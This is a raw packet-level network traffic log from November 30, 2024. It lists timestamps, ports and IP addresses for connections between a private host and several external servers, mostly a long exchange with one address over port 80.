Nov 30, 2024 09:44:14.998162031 CET	49752	443	192.168.2.4	142.250.181.110
Nov 30, 2024 09:44:14.998444080 CET	49745	443	192.168.2.4	142.250.181.68
Nov 30, 2024 09:44:15.032890081 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:15.032941103 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:15.152753115 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:15.152832031 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:15.152945042 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:15.332514048 CET	443	49750	23.218.208.109	192.168.2.4
Nov 30, 2024 09:44:15.332585096 CET	49750	443	192.168.2.4	23.218.208.109
Nov 30, 2024 09:44:15.333908081 CET	49750	443	192.168.2.4	23.218.208.109
Nov 30, 2024 09:44:15.333914042 CET	443	49750	23.218.208.109	192.168.2.4
Nov 30, 2024 09:44:15.334248066 CET	443	49750	23.218.208.109	192.168.2.4
Nov 30, 2024 09:44:15.335282087 CET	49750	443	192.168.2.4	23.218.208.109
Nov 30, 2024 09:44:15.375369072 CET	443	49750	23.218.208.109	192.168.2.4
Nov 30, 2024 09:44:15.859817028 CET	443	49750	23.218.208.109	192.168.2.4
Nov 30, 2024 09:44:15.859900951 CET	443	49750	23.218.208.109	192.168.2.4
Nov 30, 2024 09:44:15.859987974 CET	49750	443	192.168.2.4	23.218.208.109
Nov 30, 2024 09:44:15.869460106 CET	49750	443	192.168.2.4	23.218.208.109
Nov 30, 2024 09:44:15.869469881 CET	443	49750	23.218.208.109	192.168.2.4
Nov 30, 2024 09:44:15.869498968 CET	49750	443	192.168.2.4	23.218.208.109
Nov 30, 2024 09:44:15.869503975 CET	443	49750	23.218.208.109	192.168.2.4
Nov 30, 2024 09:44:15.888962030 CET	443	49753	4.245.163.56	192.168.2.4
Nov 30, 2024 09:44:15.889075041 CET	49753	443	192.168.2.4	4.245.163.56
Nov 30, 2024 09:44:15.891607046 CET	49753	443	192.168.2.4	4.245.163.56
Nov 30, 2024 09:44:15.891612053 CET	443	49753	4.245.163.56	192.168.2.4
Nov 30, 2024 09:44:15.891844034 CET	443	49753	4.245.163.56	192.168.2.4
Nov 30, 2024 09:44:15.936968088 CET	49753	443	192.168.2.4	4.245.163.56
Nov 30, 2024 09:44:15.988260984 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:15.988387108 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:16.031012058 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:16.150891066 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:16.983356953 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:16.983443975 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:17.276343107 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:17.396229982 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:17.624862909 CET	49753	443	192.168.2.4	4.245.163.56
Nov 30, 2024 09:44:17.667339087 CET	443	49753	4.245.163.56	192.168.2.4
Nov 30, 2024 09:44:18.257258892 CET	443	49753	4.245.163.56	192.168.2.4
Nov 30, 2024 09:44:18.257282972 CET	443	49753	4.245.163.56	192.168.2.4
Nov 30, 2024 09:44:18.257292986 CET	443	49753	4.245.163.56	192.168.2.4
Nov 30, 2024 09:44:18.257308960 CET	443	49753	4.245.163.56	192.168.2.4
Nov 30, 2024 09:44:18.257353067 CET	443	49753	4.245.163.56	192.168.2.4
Nov 30, 2024 09:44:18.257446051 CET	49753	443	192.168.2.4	4.245.163.56
Nov 30, 2024 09:44:18.257464886 CET	443	49753	4.245.163.56	192.168.2.4
Nov 30, 2024 09:44:18.257487059 CET	49753	443	192.168.2.4	4.245.163.56
Nov 30, 2024 09:44:18.257565022 CET	49753	443	192.168.2.4	4.245.163.56
Nov 30, 2024 09:44:18.258795023 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:18.258862972 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:18.276779890 CET	443	49753	4.245.163.56	192.168.2.4
Nov 30, 2024 09:44:18.276844025 CET	443	49753	4.245.163.56	192.168.2.4
Nov 30, 2024 09:44:18.276844025 CET	49753	443	192.168.2.4	4.245.163.56
Nov 30, 2024 09:44:18.276887894 CET	49753	443	192.168.2.4	4.245.163.56
Nov 30, 2024 09:44:18.458472013 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:18.578475952 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:18.912971973 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:18.913217068 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:18.913374901 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:18.913387060 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:18.913428068 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:18.914908886 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:18.914953947 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:18.914974928 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:18.914990902 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:18.916588068 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:18.919064045 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:18.921397924 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:18.921524048 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:18.921772957 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:18.921824932 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:18.929780006 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:18.929863930 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:18.930193901 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:18.930247068 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:18.938591003 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:18.938673019 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:18.941469908 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:18.943062067 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.045222998 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.045336962 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.045548916 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.045605898 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.068461895 CET	49723	80	192.168.2.4	199.232.210.172
Nov 30, 2024 09:44:19.114212036 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.114265919 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.114449024 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.114492893 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.116599083 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.116683960 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.116976023 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.117062092 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.124991894 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.125039101 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.125386000 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.125432968 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.133388996 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.133434057 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.133785009 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.133841038 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.141757011 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.141805887 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.142154932 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.142196894 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.150146008 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.150202990 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.150536060 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.150580883 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.158576965 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.158629894 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.159256935 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.159307957 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.166980028 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.167035103 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.167397976 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.167448997 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.175384998 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.175436020 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.175784111 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.175829887 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.183765888 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.183815002 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.184170008 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.184216976 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.188854933 CET	80	49723	199.232.210.172	192.168.2.4
Nov 30, 2024 09:44:19.188982964 CET	49723	80	192.168.2.4	199.232.210.172
Nov 30, 2024 09:44:19.192194939 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.192240953 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.192589045 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.192636967 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.199078083 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.199434042 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.199477911 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.246403933 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.246464968 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.246793985 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.246874094 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.250587940 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.250636101 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.315259933 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.315642118 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.315764904 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.317536116 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.318434000 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.318499088 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.318824053 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.318878889 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.323163986 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.323225975 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.323529959 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.323576927 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.327780962 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.327994108 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.328176022 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.328226089 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.332472086 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.332520962 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.332870007 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.332918882 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.336961031 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.337011099 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.337352991 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.337399006 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.341466904 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.341515064 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.341880083 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.341937065 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.345922947 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.345976114 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.346318960 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.346371889 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.350414038 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.350464106 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.350845098 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.350893021 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.354895115 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.354948997 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.355295897 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.355344057 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.359395981 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.359445095 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.359781027 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.359832048 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.363872051 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.363945007 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.364259005 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.364309072 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.368347883 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.368396044 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.368742943 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.368791103 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.372833967 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.372883081 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.373230934 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.373281956 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.377336979 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.377386093 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.377736092 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.377785921 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.381571054 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.381619930 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.381964922 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.382014990 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.385770082 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.385821104 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.386162043 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.386209965 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.389946938 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.389991045 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.390343904 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.390394926 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.394150972 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.394201994 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.394540071 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.394606113 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.398324013 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.398376942 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.398729086 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.398777008 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.402532101 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.402581930 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.402955055 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.403011084 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.435833931 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.435925007 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.436069012 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.436117887 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.447915077 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.448349953 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.448528051 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.450042009 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.450442076 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.450501919 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.454238892 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.454291105 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.516355991 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.516736984 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.516803980 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.517134905 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.517724991 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.517776966 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.519808054 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.519901991 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.520188093 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.520467043 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.521725893 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.521811008 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.522125959 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.522206068 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.524310112 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.524804115 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.524868965 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.526949883 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.527070045 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.527389050 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.527472973 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.529437065 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.529932022 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.529992104 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.532006025 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.532067060 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.532416105 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.532471895 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.534558058 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.534606934 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.534974098 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.535022020 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.536896944 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.537298918 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.537364960 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.539367914 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.539447069 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.539763927 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.539814949 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.541836023 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.541882038 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.542236090 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.542284966 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.544315100 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.544734001 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.544802904 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.546821117 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.546876907 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.547211885 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.547275066 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.549302101 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.549371004 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.549762964 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.549822092 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.551757097 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.552186012 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.552247047 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.554244995 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.554358006 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.554631948 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.554738998 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.556718111 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.557133913 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.557193995 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.559205055 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.559617043 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.559679985 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.561702013 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.561748028 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.562067032 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.562114000 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.563657045 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.564055920 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.564111948 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.565659046 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.565713882 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.566005945 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.566046000 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.567570925 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.567643881 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.567998886 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.568042994 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.569545984 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.569590092 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.569933891 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.569976091 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.571501017 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.571913958 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.571954966 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.573435068 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.573487043 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.573849916 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.573899984 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.575419903 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.575480938 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.575825930 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.575879097 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.577363968 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.577413082 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.577766895 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.577894926 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.579339981 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.580732107 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.580773115 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.581120968 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:19.581170082 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:19.582046986 CET	80	49749	185.215.113.206	192.168.2.4
